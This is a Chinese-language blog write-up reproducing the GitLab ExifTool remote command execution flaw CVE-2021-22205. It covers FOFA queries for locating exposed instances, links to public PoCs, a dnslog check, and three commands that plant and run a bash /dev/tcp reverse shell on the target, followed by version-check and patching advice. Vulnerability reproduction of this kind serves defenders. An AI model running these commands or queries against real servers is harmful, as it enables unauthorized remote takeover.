【CVE-2021-22205】GitLab 远程命令执行漏洞复现

FOFA

app="GitLab"
app="GitLab" && country="CN"

漏洞描述

GitLab 是由GitLab Inc.开发的一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,可通过Web界面访问公开或私人项目。
由于GitLab存在未授权的端点,导致该漏洞在无需进行身份验证的情况下即可进行利用,社区版(CE)和企业版(EE)皆受影响。由于GitLab中的ExifTool没有对传入的图像文件的扩展名进行正确处理,攻击者通过上传特制的恶意图片,可以在目标服务器上执行任意命令。
根本原因
1.当上传图片文件时,Gitlab Workhorse将扩展名为jpg|jpeg|tiff的文件通过ExifTool删除任何非白名单标记。
2.其中一个支持的格式是DjVu。当解析DjVu注释时,标记被赋值为convert C escape sequences。

Gitlab链接:
https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/

漏洞等级

CVSS:9.9 | 高危

漏洞影响版本

11.9 <= Gitlab CE/EE < 13.8.8
12.13.9 <= Gitlab CE/EE < 13.9.6
13.13.10 <= Gitlab CE/EE < 13.10.3

漏洞PoC

https://github.com/RedTeamWing/CVE-2021-22205
https://github.com/Al1ex/CVE-2021-22205

漏洞复现

证明存在

先修改PoC里面的dnslog地址为自己的
图片
利用PoC,我这里用的是pocsuite3测试框架
图片
发现自己的dnslog有回显,证明利用成功,该站存在此漏洞
图片

命令执行

这里利用的是前面的第二个PoC

反弹shell:

python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"
这条语句意思是代表,将反弹shell命令写成sh脚本 到tmp目录下
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "chmod +x /tmp/1.sh"
这条语句意思是代表,对写入成功的sh脚本加执行权限
python3 CVE-2021-2205.py -a true -t http://Your IP:port -c "/bin/bash /tmp/1.sh"
这条语句意思是代表,运行反弹shell脚本

图片
图片
图片
图片
图片
图片

漏洞修复

版本检测

相关用户可通过版本检测的方法判断当前应用是否存在风险。
使用如下命令可查看当前GitLab的版本:

cat /opt/gitlab/embedded/service/gitlab-rails/VERSION

图片

官方升级

目前官方已发布新版本修复了该漏洞,请受影响的用户尽快升级至最新版本进行防护,官方下载链接如下:https://about.gitlab.com/update/

临时防护措施

若相关用户暂时无法进行升级操作,可使用白名单限制对Web端口的访问。配置访问控制策略,避免受影响的GitLab暴露在公网

参考文章

https://www.cnblogs.com/cn-gov/p/15490588.html
https://zhuanlan.zhihu.com/p/426847373
https://www.cnblogs.com/ybit/p/14918949.html
https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html

  • Copyrights © 2019-2022 DMKXY
  • Visitors: | Views:

欢迎师傅来交流对线~

支付宝
微信